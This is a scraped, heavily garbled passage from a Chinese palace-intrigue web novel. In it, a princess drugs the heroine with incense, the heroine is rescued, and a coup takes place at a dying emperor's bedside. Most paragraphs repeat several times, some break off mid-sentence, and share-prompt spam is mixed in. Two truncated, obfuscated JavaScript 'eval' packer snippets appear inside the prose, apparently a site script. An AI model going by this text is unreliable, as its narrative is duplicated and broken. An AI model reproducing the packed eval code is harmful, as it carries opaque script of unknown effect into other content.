她盯着裴玉珠,语气冰冷,“长公主,我也很欣赏您,但我劝你一句,回封地吧! 裴玉珠的结局是注定的! 她必输! 因为裴墨染有男主光环,所有人都**,他也不会死! “呵……裴玉珠发出沉闷的笑声,似从肺腑里挤出,听起来有些瘆人。 云清婳感觉很不舒服,她走到门口,想要推门,却推不开。 门被锁住了。 “清婳,你以为我会这么容易放你走?裴玉珠从座位上起身,缓缓走近她。 云清婳的杏眼微眯,“裴玉珠,光天化日,你想杀我不成? 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 底还是墨染太过狠心,居然连妻儿都不顾了,着实没有担当。裴玉珠毫不遮掩脸上的鄙夷,“清婳这么好的女子,怎能在这种人身上蹉跎? 云清婳挑眉,惊讶的捂着嘴,“长公主这是何意? “君若无情我便休!你可是京城第一贵女,何必委身于那般窝囊弱懦的男人?皇后跟苏灵音抢你孩儿,他连个屁都不敢放,这种人值得你为他付出?裴玉珠冷嘁一声,眼底的厌恶溢了出来。 云清婳登时明白了。 裴玉珠是想劝她投敌倒戈。 然后跟她里应外合,将来彻底架空裴墨染。 不得不说,她的聪慧远超常人。 尽管云清婳很认同她的话,但为了人设不倒,她还是冠冕堂皇道:“多谢长公主的好意,但我跟夫君感情甚笃,我不会背叛夫君。倘若您是想跟我说这些,我便告退了。 云清婳福福身,作势要走。 裴玉珠最后的耐心耗尽,她鼻尖轻颤,一声冷哼自鼻腔中幽幽逸出,“慢着! 云清婳停住脚步。 “云清婳,我已经查清了,你能把裴家那几个蠢货耍得团团转,你能骗得了我吗? 她一字一顿,敲击着云清婳的心房,让她不禁背脊发凉。 云清婳的唇抿成一字,等待着下文。 “我很欣赏你这样重情重义的女子,你若是愿意与我合作,将来我帮你手刃敌人!裴云澈、皇后都会不得好死!裴玉珠毫无保留的亮出底牌,蔑视众生,就像在看一只蝼蚁。 云清婳的瞳孔骤然紧缩,胸腔俱颤。 裴玉珠果真深不可测! “可惜,我不喜欢受制于人,我喜欢自己报仇!云清婳转身的瞬间,褪去脸上的娇俏谨慎,露出清冷的表情。 她盯着裴玉珠,语气冰冷,“长公主,我也很欣赏您,但我劝你一句,回封地吧! 裴玉珠的结局是注定的! 她必输! 因为裴墨染有男主光环,所有人都**,他也不会死! “呵……裴玉珠发出沉闷的笑声,似从肺腑里挤出,听起来有些瘆人。 云清婳感觉很不舒服,她走到门口,想要推门,却推不开。 门被锁住了。 “清婳,你以为我会这么容易放你走?裴玉珠从座位上起身,缓缓走近她。 云清婳的杏眼微眯,“裴玉珠,光天化日,你想杀我不成? 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 底还是墨染太过狠心,居然连妻儿都不顾了,着实没有担当。裴玉珠毫不遮掩脸上的鄙夷,“清婳这么好的女子,怎能在这种人身上蹉跎? 云清婳挑眉,惊讶的捂着嘴,“长公主这是何意? “君若无情我便休!你可是京城第一贵女,何必委身于那般窝囊弱懦的男人?皇后跟苏灵音抢你孩儿,他连个屁都不敢放,这种人值得你为他付出?裴玉珠冷嘁一声,眼底的厌恶溢了出来。 云清婳登时明白了。 裴玉珠是想劝她投敌倒戈。 然后跟她里应外合,将来彻底架空裴墨染。 不得不说,她的聪慧远超常人。 尽管云清婳很认同她的话,但为了人设不倒,她还是冠冕堂皇道:“多谢长公主的好意,但我跟夫君感情甚笃,我不会背叛夫君。倘若您是想跟我说这些,我便告退了。 云清婳福福身,作势要走。 裴玉珠最后的耐心耗尽,她鼻尖轻颤,一声冷哼自鼻腔中幽幽逸出,“慢着! 云清婳停住脚步。 “云清婳,我已经查清了,你能把裴家那几个蠢货耍得团团转,你能骗得了我吗? 她一字一顿,敲击着云清婳的心房,让她不禁背脊发凉。 云清婳的唇抿成一字,等待着下文。 “我很欣赏你这样重情重义的女子,你若是愿意与我合作,将来我帮你手刃敌人!裴云澈、皇后都会不得好死!裴玉珠毫无保留的亮出底牌,蔑视众生,就像在看一只蝼蚁。 云清婳的瞳孔骤然紧缩,胸腔俱颤。 裴玉珠果真深不可测! “可惜,我不喜欢受制于人,我喜欢自己报仇!云清婳转身的瞬间,褪去脸上的娇俏谨慎,露出清冷的表情。 她盯着裴玉珠,语气冰冷,“长公主,我也很欣赏您,但我劝你一句,回封地吧! 裴玉珠的结局是注定的! 她必输! 因为裴墨染有男主光环,所有人都**,他也不会死! “呵……裴玉珠发出沉闷的笑声,似从肺腑里挤出,听起来有些瘆人。 云清婳感觉很不舒服,她走到门口,想要推门,却推不开。 门被锁住了。 “清婳,你以为我会这么容易放你走?裴玉珠从座位上起身,缓缓走近她。 云清婳的杏眼微眯,“裴玉珠,光天化日,你想杀我不成? 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 底还是墨染太过狠心,居然连妻儿都不顾了,着实没有担当。裴玉珠毫不遮掩脸上的鄙夷,“清婳这么好的女子,怎能在这种人身上蹉跎? 云清婳挑眉,惊讶的捂着嘴,“长公主这是何意? “君若无情我便休!你可是京城第一贵女,何必委身于那般窝囊弱懦的男人?皇后跟苏灵音抢你孩儿,他连个屁都不敢放,这种人值得你为他付出?裴玉珠冷嘁一声,眼底的厌恶溢了出来。 云清婳登时明白了。 裴玉珠是想劝她投敌倒戈。 然后跟她里应外合,将来彻底架空裴墨染。 不得不说,她的聪慧远超常人。 尽管云清婳很认同她的话,但为了人设不倒,她还是冠冕堂皇道:“多谢长公主的好意,但我跟夫君感情甚笃,我不会背叛夫君。倘若您是想跟我说这些,我便告退了。 云清婳福福身,作势要走。 裴玉珠最后的耐心耗尽,她鼻尖轻颤,一声冷哼自鼻腔中幽幽逸出,“慢着! 云清婳停住脚步。 “云清婳,我已经查清了,你能把裴家那几个蠢货耍得团团转,你能骗得了我吗? 她一字一顿,敲击着云清婳的心房,让她不禁背脊发凉。 云清婳的唇抿成一字,等待着下文。 “我很欣赏你这样重情重义的女子,你若是愿意与我合作,将来我帮你手刃敌人!裴云澈、皇后都会不得好死!裴玉珠毫无保留的亮出底牌,蔑视众生,就像在看一只蝼蚁。 云清婳的瞳孔骤然紧缩,胸腔俱颤。 裴玉珠果真深不可测! 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“君若无情我便休!你可是京城第一贵女何必委身于那般窝囊弱懦的男人?皇后跟苏灵音抢你孩儿他连个屁都不敢放这种人值得你为他付出?”裴玉珠冷嘁一声眼底的厌恶溢了出来。 云清婳登时明白了。 裴玉珠是想劝她投敌倒戈。 然后跟她里应外合将来彻底架空裴墨染。 不得不说她的聪慧远超常人。 尽管云清婳很认同她的话但为了人设不倒她还是冠冕堂皇道:“多谢长公主的好意但我跟夫君感情甚笃我不会背叛夫君。倘若您是想跟我说这些我便告退了。” 云清婳福福身作势要走。 裴玉珠最后的耐心耗尽她鼻尖轻颤一声冷哼自鼻腔中幽幽逸出“慢着!” 云清婳停住脚步。 “云清婳我已经查清了你能把裴家那几个蠢货耍得团团转你能骗得了我吗?” 她一字一顿敲击着云清婳的心房让她不禁背脊发凉。 云清婳的唇抿成一字等待着下文。 “我很欣赏你这样重情重义的女子你若是愿意与我合作将来我帮你手刃敌人!裴云澈、皇后都会不得好死!”裴玉珠毫无保留的亮出底牌蔑视众生就像在看一只蝼蚁。 云清婳的瞳孔骤然紧缩胸腔俱颤。 裴玉珠果真深不可测! “可惜我不喜欢受制于人我喜欢自己报仇!”云清婳转身的瞬间褪去脸上的娇俏谨慎露出清冷的表情。 她盯着裴玉珠语气冰冷“长公主我也很欣赏您但我劝你一句回封地吧!” 裴玉珠的结局是注定的! 她必输! 因为裴墨染有男主光环所有人都**他也不会死! “呵……”裴玉珠发出沉闷的笑声似从肺腑里挤出听起来有些瘆人。 云清婳感觉很不舒服她走到门口想要推门却推不开。 门被锁住了。 “清婳你以为我会这么容易放你走?”裴玉珠从座位上起身缓缓走近她。 云清婳的杏眼微眯“裴玉珠光天化日你想杀我不成?” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 底还是墨染太过狠心居然连妻儿都不顾了着实没有担当。”裴玉珠毫不遮掩脸上的鄙夷“清婳这么好的女子怎能在这种人身上蹉跎?” 云清婳挑眉惊讶的捂着嘴“长公主这是何意?” “君若无情我便休!你可是京城第一贵女何必委身于那般窝囊弱懦的男人?皇后跟苏灵音抢你孩儿他连个屁都不敢放这种人值得你为他付出?”裴玉珠冷嘁一声眼底的厌恶溢了出来。 云清婳登时明白了。 裴玉珠是想劝她投敌倒戈。 然后跟她里应外合将来彻底架空裴墨染。 不得不说她的聪慧远超常人。 尽管云清婳很认同她的话但为了人设不倒她还是冠冕堂皇道:“多谢长公主的好意但我跟夫君感情甚笃我不会背叛夫君。倘若您是想跟我说这些我便告退了。” 云清婳福福身作势要走。 裴玉珠最后的耐心耗尽她鼻尖轻颤一声冷哼自鼻腔中幽幽逸出“慢着!” 云清婳停住脚步。 “云清婳我已经查清了你能把裴家那几个蠢货耍得团团转你能骗得了我吗?” 她一字一顿敲击着云清婳的心房让她不禁背脊发凉。 云清婳的唇抿成一字等待着下文。 “我很欣赏你这样重情重义的女子你若是愿意与我合作将来我帮你手刃敌人!裴云澈、皇后都会不得好死!”裴玉珠毫无保留的亮出底牌蔑视众生就像在看一只蝼蚁。 云清婳的瞳孔骤然紧缩胸腔俱颤。 裴玉珠果真深不可测! “可惜我不喜欢受制于人我喜欢自己报仇!”云清婳转身的瞬间褪去脸上的娇俏谨慎露出清冷的表情。 她盯着裴玉珠语气冰冷“长公主我也很欣赏您但我劝你一句回封地吧!” 裴玉珠的结局是注定的! 她必输! 因为裴墨染有男主光环所有人都**他也不会死! “呵……”裴玉珠发出沉闷的笑声似从肺腑里挤出听起来有些瘆人。 云清婳感觉很不舒服她走到门口想要推门却推不开。 门被锁住了。 “清婳 云清婳的杏眼微眯“裴玉珠光天化日你想杀我不成?” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 底还是墨染太过狠心居然连妻儿都不顾了着实没有担当。”裴玉珠毫不遮掩脸上的鄙夷“清婳这么好的女子怎能在这种人身上蹉跎?” 云清婳挑眉惊讶的捂着嘴“长公主这是何意?” “君若无情我便休!你可是京城第一贵女何必委身于那般窝囊弱懦的男人?皇后跟苏灵音抢你孩儿他连个屁都不敢放这种人值得你为他付出?”裴玉珠冷嘁一声眼底的厌恶溢了出来。 云清婳登时明白了。 裴玉珠是想劝她投敌倒戈。 然后跟她里应外合将来彻底架空裴墨染。 不得不说她的聪慧远超常人。 尽管云清婳很认同她的话但为了人设不倒她还是冠冕堂皇道:“多谢长公主的好意但我跟夫君感情甚笃我不会背叛夫君。倘若您是想跟我说这些 云清婳福福身作势要走。 裴玉珠最后的耐心耗尽她鼻尖轻颤一声冷哼自鼻腔中幽幽逸出“慢着!” 云清婳停住脚步。 “云清婳我已经查清了你能把裴家那几个蠢货耍得团团转你能骗得了我吗?” 她一字一顿敲击着云清婳的心房让她不禁背脊发凉。 云清婳的唇抿成一字等待着下文。 “我很欣赏你这样重情重义的女子你若是愿意与我合作将来我帮你手刃敌人!裴云澈、皇后都会不得好死!”裴玉珠毫无保留的亮出底牌蔑视众生就像在看一只蝼蚁。 云清婳的瞳孔骤然紧缩胸腔俱颤。 裴玉珠果真深不可测! “可惜我不喜欢受制于人我喜欢自己报仇!”云清婳转身的瞬间褪去脸上的娇俏谨慎露出清冷的表情。 她盯着裴玉珠语气冰冷“长公主我也很欣赏您但我劝你一句回封地吧!” 裴玉珠的结局是注定的! 她必输! 因为裴墨染有男主光环所有人都**他也不会死! “呵……”裴玉珠发出沉闷的笑声似从肺腑里挤出听起来有些瘆人。 云清婳感觉很不舒服她走到门口想要推门却推不开。 门被锁住了。 “清婳你以为我会这么容易放你走?”裴玉珠从座位上起身缓缓走近她。 云清婳的杏眼微眯“裴玉珠光天化日你想杀我不成?” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第339章 陛下怕是不成了 对面之人嘴角的笑弧不断扩大,眼神放光,带有侵略性,“小美人,我哪儿舍得杀你啊?” 云清婳一愣。 裴玉珠的视线有些猥琐,仿佛能透过身上的布料把她看光。 她想要作呕,面前的女人实在油腻,让她的胃里翻江倒海。 电光火石间,云清婳想到了裴墨染曾经的欲言又止…… 难怪裴墨染总让她避着裴玉珠! 难怪裴玉珠没有驸马,却养了许多面首…… 裴家到底有没有正常人!? “小美人,我看到你的第一眼就被你吸引了!我知道,我们是同一种人。”裴玉珠捏着她的下巴。 云清婳挣了挣,眼中噙着泪花,像是快被吓哭了,“你疯了吗?你想干什么?” 裴玉珠将云清婳抵在墙壁上,脸不断挨近。 “清婳,我可比那些臭男人好!你周旋于两个男人之间,不如依靠我!”裴玉珠看她的眼神痴迷。 云清婳想吐。 她可没有恋老癖! 狗男人为何不把话说清楚。 “别挣扎了,房中点了迷香。”裴玉珠捏着她的下巴,把她脑袋转到窗下的香炉上。 “此烟无味,所以你才没有发现……” 云清婳浑身发热,双腿瘫软,她的额上冒出细碎的汗珠。 她张了张嘴,想要呼救,可喉咙里却挤不出一个字。 “你好恶心……”她做出口型,不动声色地按了下玛瑙戒指上的开关。 玛瑙戒指弹出一根比头发丝还细的**。 云清婳盯着她皮肉松垮的脖颈,抬手正准备刺进去时,她听见了门外不断逼近的脚步声。 “哈哈哈哈,此药会让人失声,别挣扎了。”裴玉珠的眸中倒映出极端的偏执跟疯狂。 她的唇正欲落下,砰—— 门被踹开。 裴云澈带人冲了进来,他见状,双目赤红,一把抓住裴玉珠的后衣领将她丢到一边。 裴玉珠毕竟老了,她瘫软无力地摔在地上打了几个滚,痛得龇牙咧嘴。 “裴云澈!你敢这么对我,你不想跟我合作了吗?!”裴玉珠痛吟。 裴云澈上前,温柔地打横抱起云清婳,他厌恶道:“无耻下流 ,不守妇道!我不屑与你同流合污! 云清婳心中一喜。 计成了! 裴玉珠痛苦地低吟,“云清婳,你别以为能逃,我必不会放过你! 裴云澈抱着云清婳就往外走。 裴玉珠急忙道:“蠢货!你被云清婳骗了,你们害**她姐姐,她想杀你! 裴云澈充耳不闻,步伐加快。 报仇的事,他们早就说开了,蛮蛮早就放下仇恨了。 云褚早就带人将望江楼包围,清退了客人,他守在楼梯口。 看到云清婳,他连忙迎上前,“蛮蛮没事吧? 云清婳有气无力地摇摇头。 “蛮蛮中了迷香,四肢无力,短暂失语。裴云澈解释。 云褚拧着眉头,他伸出双臂,“多谢贤王殿下搭救,可男女有别,蛮蛮如今是太子妃,还请您避嫌。 裴云澈犹豫了一下,反而收紧了臂间的力气。 他知道云褚说得对,但他太久没见蛮蛮了,他克制不住了,他想她。 “蛮蛮如今不便见人,等我的亲信送来解毒丸,再由云二公子护送她回东宫吧。 在云清婳的眼神应允下,云褚不情不愿地点点头。 他不悦地警告道:“还请贤王殿下克制一些,莫要有非分之想! “……裴云澈心中恼怒,但看在云清婳的面子上还是颔首。 云清婳被抱进厢房,云褚守在门外。 她服下解毒丸后过了一炷香才渐渐恢复清醒。 裴云澈看到她指间的戒指,怕伤到她,贴心地帮她取下,“蛮蛮莫怕,有我在。 “裴郎,还好有你……裴玉珠好可怕……她流下两行清泪。 裴云澈眼底满是心疼与痛惜,“那个疯女人龌龊至极,有违天理,应当被天诛地灭!裴墨染个混账,连妻儿都护不住! 云清婳的眼神破碎,“方才裴玉珠说什么合作……我是不是耽误裴郎了? “这样不伦不类的畜生也配与我联手?他愤慨地反问,“蛮蛮,在我这里,没人比你更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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太医院的太医全体出动,他们焦急地在门外来回踱步。 内务府的宫人站在不起眼的角落整齐站着,每个人手里拿着孝衣。 倘若国丧,他们便会立即出动,给各个皇亲国戚送去。 御前太监的眼圈泛红,他看见云清婳、“裴墨染匆匆迎上来,“殿下、太子妃快来,殿下就等您们了。 进了养心殿,只见裴玉珠、皇后、裴云澈守在皇上的榻前。 皇上的双眼不似之前,褪去了混浊,今夜竟格外的明亮。 他没有咳嗽,定定地看着裴墨染、云清婳,“墨染,太子妃。 “儿臣参见父皇!云清婳、“裴墨染 皇上的眼神从“裴墨染的脸上扫过,最后定格在云清婳的脸上。 他的眼神复杂,其中蕴含着千言万语,可却不能言之于口。 云清婳隐约领悟到他的意思,回给他一个安心的眼神。 今晚无论发生什么,她都会灵活应对,随机应变。 “墨染,江山日后…… 皇后哭得梨花带雨,立即打断他的话,“陛下,您疼爱了云澈这么多年,云澈真的没有机会了吗? 皇上像是胸口遭到了重击,一口瘀血堵在胸口,气得他胸闷气短,噗呲—— 一口血竟真的呕了出来。 “皇上,皇上…… 皇后心疼地哭喊,用帕子给他擦拭嘴角、胸口的血。 皇上的瞳孔凸出,狠狠瞪着皇后,胳膊颤抖地指着屏风外,“滚!给朕滚! 别说皇上,就连裴玉珠、裴云澈、云清婳都嫌弃至极。 皇后说话做事从来不分场合。 皇后委屈的眼眸轻颤,她还想说话,便被箬竹强行拽走。 太蠢了! 皇上今生最大的错误,或许就是立她当了皇后。 “墨染,江山日后就托付给你了。皇上的眼珠子一轮,看向裴云澈,“你一定要善待云澈,否则朕在下面也不会放过你! “裴墨染扑通跪在地上,他叩首,“父皇乃真龙天子,洪福齐天,必不会出事。 云清婳不由得在心里 暗叹。 瞧! 这个假裴墨染的嘴巴多甜。 皇上微微一怔他脸上的神情变化莫测“朕要你发誓!” “儿臣发誓必会善待贤王。”裴墨染字字铿锵。 裴云澈的手紧紧攥住心里像是打翻了五味瓶不甘、嫉妒、埋怨的情绪在心里作怪。 真是虚伪! 倘若父皇真的担心他被害为何不把皇位传给他? 皇上眉宇间那抹隐约的忧色悄然淡去似是心头大石终于落地透出一丝宽慰。 他又看向裴玉珠“皇姐朕要你监督墨染。倘若他违背誓言你不能要出面护着云澈。” 裴玉珠用手捂着嘴她叹了口气“皇上说笑了墨染自小便孝顺。更何况我人微言轻倘若真到那一步墨染怎会听我的?” 皇上早有预料他的声音越来越虚弱已然是出气多进气少“朕会让你摄政你膝下无子朕信得过你。” “皇姐当年是朕糊涂不该相信小人谗言赶你离开京城。” 裴玉珠的眼底闪过暗芒。 事情比她想的还要顺利! 不费吹灰之力她就是史上第一位女摄政王了。 她突然改变了主意不想徐徐图之了。 事已至此她何不杀死裴墨染扶持苏灵音的孩子上位? 挟天子以令诸侯? “我必不会忘记皇上的嘱托定会护住我裴家的江山!日月山河永在大昭江山永在。”裴玉珠朝他拜了拜。 皇上长长的吐出一口浊气合上了双眼。 再也发不出一丝动静。 众人屏息凝神面面相觑。 皇上这是……? 忽地他从嘴里气若游丝地挤出一句话“朕乏了退下吧。” 裴玉珠因为心虚吓得一颤。 “是。” 几人绕过屏风去往前厅。 裴玉珠再也不遮掩她笑了“皇上也就这两天了 “……” “裴墨染”瞥了她一眼。 云清婳厉声斥道:“长公主慎言殿下是储君您就算日后摄政也别忘了尊卑有别!” 裴玉珠笑吟吟 地看着云清婳。 那赤裸的目光让她十分恶心。 裴云澈立即挡在云清婳的身前“长公主可知耻?可懂人伦纲常?在父皇的病榻前 皇后立即帮腔“云澈太子都不护着太子妃你插什么嘴?” “……”裴云澈语塞。 裴玉珠递给皇后一个笑脸“既然清婳不领情我改变主意了皇太孙的人选换成灵音的孩子好了。” 云清婳的眼中射出寒光“陛下健在长公主还未摄政便安排起朝政了?” 啪啪—— 裴玉珠拍拍手砰—— 门猛然被踹开。 十几个御林军冲了进来将他们包围。 裴云澈立即将云清婳护在身后他低声道:“蛮蛮放心我也安插了人手我们必能全身而退。” “嗯……”云清婳惊惶的颔首。 御林军拔刀而出刀架在“裴墨染”的脖子上。 “裴墨染”的身躯轻颤他故作镇定:“姑姑这是做什么?” 皇后的脸色微变眼神惊慌“长公主这里可是皇宫在陛下的眼皮子底下拿出兵器可是死罪……” “此事可跟我无关。”裴玉珠勾唇邪气地抬起眼看向门口“这可是你的好哥哥干的今夜他负责巡逻皇宫一百个御林军都被他调来保护圣上了。” 苏将军穿着铠甲身材魁梧握着染血的刀一脸杀气的从门口走了进来。 门外的御前太监、宫女都被他的人制服。 “哥哥你疯了吗?”皇后瞪圆了眼。 苏将军不敢跟皇后对视“莫要怪我我也是为了让灵音的孩子继承大统!云清婳这个毒妇根本不配!” 提到苏灵音皇后眼底的纠结渐渐散去。 她看向“裴墨染”把语气放得温和“墨染你不要倔了就听你姑姑的话吧!刀剑无眼当心伤了你!” “母后后宫不得干政你怎敢议储?” “裴墨染”反问。 皇后不耐的甩袖“你太固执了!云清婳这个**根本不值得!” 云清婳拔高声音“裴玉珠你想挟天子以令诸侯你就这么确定苏灵音腹中的孩子是男胎?” 裴玉珠摊手不甚在意道:“我已做好准备她腹中必是男胎。” 语毕所有人都意识到了不对。 皇后惊恐地看着她“何意?” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 地看着云清婳。 那赤裸的目光让她十分恶心。 裴云澈立即挡在云清婳的身前“长公主可知耻?可懂人伦纲常?在父皇的病榻前你怎敢冒犯太子妃?” 皇后立即帮腔“云澈太子都不护着太子妃你插什么嘴?” “……”裴云澈语塞。 裴玉珠递给皇后一个笑脸“既然清婳不领情我改变主意了皇太孙的人选换成灵音的孩子好了。” 云清婳的眼中射出寒光 啪啪—— 裴玉珠拍拍手砰—— 门猛然被踹开。 十几个御林军冲了进来将他们包围。 裴云澈立即将云清婳护在身后他低声道:“蛮蛮放心我也安插了人手我们必能全身而退。” “嗯……”云清婳惊惶的颔首。 御林军拔刀而出刀架在“裴墨染”的脖子上。 “裴墨染”的身躯轻颤他故作镇定:“姑姑这是做什么?” 皇后的脸色微变眼神惊慌“长公主这里可是皇宫在陛下的眼皮子底下拿出兵器可是死罪……” “此事可跟我无关。”裴玉珠勾唇邪气地抬起眼看向门口“这可是你的好哥哥干的今夜他负责巡逻皇宫一百个御林军都被他调来保护圣上了。” 苏将军穿着铠甲身材魁梧握着染血的刀一脸杀气的从门口走了进来。 门外的御前太监、宫女都被他的人制服。 “哥哥你疯了吗?”皇后瞪圆了眼。 苏将军不敢跟皇后对视“莫要怪我我也是为了让灵音的孩子继承大统!云清婳这个毒妇根本不配!” 提到苏灵音皇后眼底的纠结渐渐散去。 她看向“裴墨染”把语气放得温和“墨染你不要倔了就听你姑姑的话吧!刀剑无眼当心伤了你!” “母后后宫不得干政你怎敢议储?” “裴墨染”反问。 皇后不耐的甩袖“你太固执了!云清婳这个**根本不值得!” 云清婳拔高声音“裴玉珠你想挟天子以令诸侯你就这么确定苏灵音腹中的孩子是男胎?” 裴玉珠摊手不甚在意道:“我已做好准备她腹中必是男胎。” 语毕所有人都意识到了不对。 皇后惊恐地看着她“何意?” 你的朋友正在书荒,快去帮帮他吧 地看着云清婳。 那赤裸的目光让她十分恶心。 裴云澈立即挡在云清婳的身前“长公主可知耻?可懂人伦纲常?在父皇的病榻前你怎敢冒犯太子妃?” 皇后立即帮腔“云澈太子都不护着太子妃你插什么嘴?” “……”裴云澈语塞。 裴玉珠递给皇后一个笑脸“既然清婳不领情我改变主意了皇太孙的人选换成灵音的孩子好了。” 云清婳的眼中射出寒光“陛下健在长公主还未摄政便安排起朝政了?” 啪啪—— 裴玉珠拍拍手砰—— 门猛然被踹开。 十几个御林军冲了进来将他们包围。 裴云澈立即将云清婳护在身后 “嗯……”云清婳惊惶的颔首。 御林军拔刀而出刀架在“裴墨染”的脖子上。 “裴墨染”的身躯轻颤他故作镇定:“姑姑这是做什么?” 皇后的脸色微变眼神惊慌“长公主这里可是皇宫在陛下的眼皮子底下拿出兵器可是死罪……” “此事可跟我无关。”裴玉珠勾唇邪气地抬起眼看向门口“这可是你的好哥哥干的今夜他负责巡逻皇宫一百个御林军都被他调来保护圣上了。” 苏将军穿着铠甲身材魁梧握着染血的刀一脸杀气的从门口走了进来。 门外的御前太监、宫女都被他的人制服。 “哥哥你疯了吗?”皇后瞪圆了眼。 苏将军不敢跟皇后对视“莫要怪我我也是为了让灵音的孩子继承大统!云清婳这个毒妇根本不配!” 提到苏灵音皇后眼底的纠结渐渐散去。 她看向“裴墨染”把语气放得温和“墨染你不要倔了就听你姑姑的话吧!刀剑无眼当心伤了你!” “母后后宫不得干政你怎敢议储?” “裴墨染”反问。 皇后不耐的甩袖“你太固执了!云清婳这个**根本不值得!” 云清婳拔高声音“裴玉珠你想挟天子以令诸侯你就这么确定苏灵音腹中的孩子是男胎?” 裴玉珠摊手不甚在意道:“我已做好准备她腹中必是男胎。” 语毕所有人都意识到了不对。 皇后惊恐地看着她“何意?” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 地看着云清婳。 那赤裸的目光让她十分恶心。 裴云澈立即挡在云清婳的身前“长公主可知耻?可懂人伦纲常?在父皇的病榻前你怎敢冒犯太子妃?” 皇后立即帮腔“云澈太子都不护着太子妃你插什么嘴?” “……”裴云澈语塞。 裴玉珠递给皇后一个笑脸“既然清婳不领情我改变主意了皇太孙的人选换成灵音的孩子好了。” 云清婳的眼中射出寒光 啪啪—— 裴玉珠拍拍手砰—— 门猛然被踹开。 十几个御林军冲了进来将他们包围。 裴云澈立即将云清婳护在身后他低声道:“蛮蛮放心我也安插了人手我们必能全身而退。” “嗯……”云清婳惊惶的颔首。 御林军拔刀而出刀架在“裴墨染”的脖子上。 “裴墨染”的身躯轻颤他故作镇定:“姑姑这是做什么?” 皇后的脸色微变眼神惊慌“长公主这里可是皇宫在陛下的眼皮子底下拿出兵器可是死罪……” “此事可跟我无关。”裴玉珠勾唇邪气地抬起眼看向门口“这可是你的好哥哥干的今夜他负责巡逻皇宫一百个御林军都被他调来保护圣上了。” 苏将军穿着铠甲身材魁梧握着染血的刀一脸杀气的从门口走了进来。 门外的御前太监、宫女都被他的人制服。 “哥哥你疯了吗?”皇后瞪圆了眼。 苏将军不敢跟皇后对视“莫要怪我我也是为了让灵音的孩子继承大统!云清婳这个毒妇根本不配!” 提到苏灵音皇后眼底的纠结渐渐散去。 她看向“裴墨染”把语气放得温和“墨染你不要倔了就听你姑姑的话吧!刀剑无眼当心伤了你!” “母后后宫不得干政你怎敢议储?” “裴墨染”反问。 皇后不耐的甩袖“你太固执了!云清婳这个**根本不值得!” 云清婳拔高声音“裴玉珠你想挟天子以令诸侯你就这么确定苏灵音腹中的孩子是男胎?” 裴玉珠摊手不甚在意道:“我已做好准备她腹中必是男胎。” 语毕所有人都意识到了不对。 皇后惊恐地看着她“何意?” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 地看着云清婳。 那赤裸的目光,让她十分恶心。 裴云澈立即挡在云清婳的身前,“长公主可知耻?可懂人伦纲常?在父皇的病榻前,你怎敢冒犯太子妃? 皇后立即帮腔,“云澈,太子都不护着太子妃,你插什么嘴? “……裴云澈语塞。 裴玉珠递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴云澈立即挡在云清婳的身前,“长公主可知耻?可懂人伦纲常?在父皇的病榻前,你怎敢冒犯太子妃?” 皇后立即帮腔,“云澈,太子都不护着太子妃,你插什么嘴?” “……”裴云澈语塞。 裴玉珠递给皇后一个笑脸,“既然清婳不领情,我改变主意了,皇太孙的人选换成灵音的孩子好了。” 云清婳的眼中射出寒光,“陛下健在,长公主还未摄政,便安排起朝政了?” 啪啪—— 裴玉珠拍拍手,砰—— 门猛然被踹开。 十几个御林军冲了进来,将他们包围。 裴云澈立即将云清婳护在身后,他低声道:“蛮蛮放心,我也安插了人手,我们必能全身而退。” “嗯……”云清婳惊惶的颔首。 御林军拔刀而出,刀架在“裴墨染”的脖子上。 “裴墨染”的身躯轻颤,他故作镇定:“姑姑这是做什么?” 皇后的脸色微变,眼神惊慌,“长公主,这里可是皇宫,在陛下的眼皮子底下拿出兵器,可是死罪……” “此事可跟我无关。”裴玉珠勾唇,邪气地抬起眼,看向门口,“这可是你的好哥哥干的,今夜他负责巡逻皇宫,一百个御林军都被他调来保护圣上了。” 苏将军穿着铠甲,身材魁梧,握着染血的刀,一脸杀气的从门口走了进来。 门外的御前太监、宫女都被他的人制服。 “哥哥,你疯了吗?”皇后瞪圆了眼。 苏将军不敢跟皇后对视,“莫要怪我,我也是为了让灵音的孩子继承大统!云清婳这个毒妇根本不配!” 提到苏灵音,皇后眼底的纠结渐渐散去。 她看向“裴墨染”,把语气放得温和,“墨染,你不要倔了,就听你姑姑的话吧!刀剑无眼,当心伤了你!” “母后,后宫不得干政,你怎敢议储?” “裴墨染”反问。 皇后不耐的甩袖,“你太固执了!云清婳这个**根本不值得!” 云清婳拔高声音,“裴玉珠,你想挟天子以令诸侯,你就这么确定苏灵音腹中的孩子是男胎?” 裴玉珠摊手,不甚在意道:“我已做好准备,她腹中必是男胎。” 语毕,所有人都意识到了不对。 皇后惊恐地看着她,“何意?” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 地看着云清婳。 那赤裸的目光,让她十分恶心。 裴云澈立即挡在云清婳的身前,“长公主可知耻?可懂人伦纲常?在父皇的病榻前,你怎敢冒犯太子妃? 皇后立即帮腔,“云澈,太子都不护着太子妃,你插什么嘴? “…… 裴玉珠递给皇后一个笑脸,“既然清婳不领情,我改变主意了,皇太孙的人选换成灵音的孩子好了。 云清婳的眼中射出寒光,“陛下健在,长公主还未摄政,便安排起朝政了? 啪啪—— 裴玉珠拍拍手,砰—— 门猛然被踹开。 十几个御林军冲了进来,将他们包围。 